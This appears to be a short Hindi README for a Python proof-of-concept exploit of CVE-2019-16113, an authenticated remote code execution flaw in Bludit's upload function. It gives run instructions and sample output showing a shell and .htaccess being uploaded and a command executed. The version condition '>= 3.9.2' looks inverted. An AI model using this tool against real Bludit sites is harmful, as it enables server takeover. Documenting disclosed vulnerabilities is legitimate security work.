
Bludit >= 3.9.2 - प्रमाणीकृत RCE (CVE-2019-16113)
Bludit >= 3.9.2 में 'अपलोड फ़ंक्शन' के माध्यम से रिमोट कोड निष्पादन भेद्यता।
सरल Python PoC.
खोजकर्ता: @christasa: https://github.com/bludit/bludit/issues/1081
स्क्रिप्ट में अपना URL, उपयोगकर्ता नाम, पासवर्ड और निष्पादित करने का कमांड संपादित करें फिर स्क्रिप्ट चलाएँ:
$ python CVE-2019-16113.py
[+] Loggin successful.
[+] Token CSRF: 20b903ffe72490f004b9255521ea2e0419e73dce
[+] Shell upload succesful.
[+] .htaccess upload succesful.
[+] Command execution successful.
pip install requests)